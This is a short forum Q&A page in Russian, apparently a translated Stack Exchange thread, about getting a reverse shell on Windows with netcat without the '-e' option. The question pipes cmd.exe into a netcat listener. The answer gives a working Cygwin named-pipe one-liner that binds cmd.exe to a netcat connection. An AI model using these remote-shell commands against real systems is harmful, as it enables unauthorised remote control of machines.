Обратная оболочка с помощью netcat в windows (опция no-e)

есть ли способ получить обратную оболочку в Windows с помощью netcat без использования опции-e, так как она запускает UAC?

Я заставил его работать от Linux до Linux, используя именованный канал. Я хотел добиться чего-то подобного в Windows.

Running c:windowssystem32cmd.exe | ncat -l -p 666 на Windows дает мне подсказку в Linux при подключении:

# nc 192.168.0.109 666
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:Usersuser> dir

^C

похоже, что я близко, может быть, что-то простое не хватает? Если бы только в окнах были именованные трубы...

17
задан Adriano_epifas
12.04.2023 2:37 Количество просмотров материала 2793
Распечатать страницу

1 ответ

Я не уверен, что вы можете сделать это с чистой win32 netcat, но вы можете сделать это в cygwin. Слушай на 1234 как nc -l 1234 затем подключить к этому в отдельном окне с помощью следующей команды:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/cygdrive/c/windows/system32/cmd.exe 2>&1|nc 127.0.0.1 1234 >/tmp/f

обратите внимание, что клавиши вверх и вниз не работают для циклического просмотра истории команд с помощью этого метода.

1
отвечен Jay 2023-04-13 10:25

Постоянная ссылка на данную страницу: [ Скопировать ссылку | Сгенерировать QR-код ]

Ваш ответ

Опубликуйте как Гость или авторизуйтесь

Имя
Вверх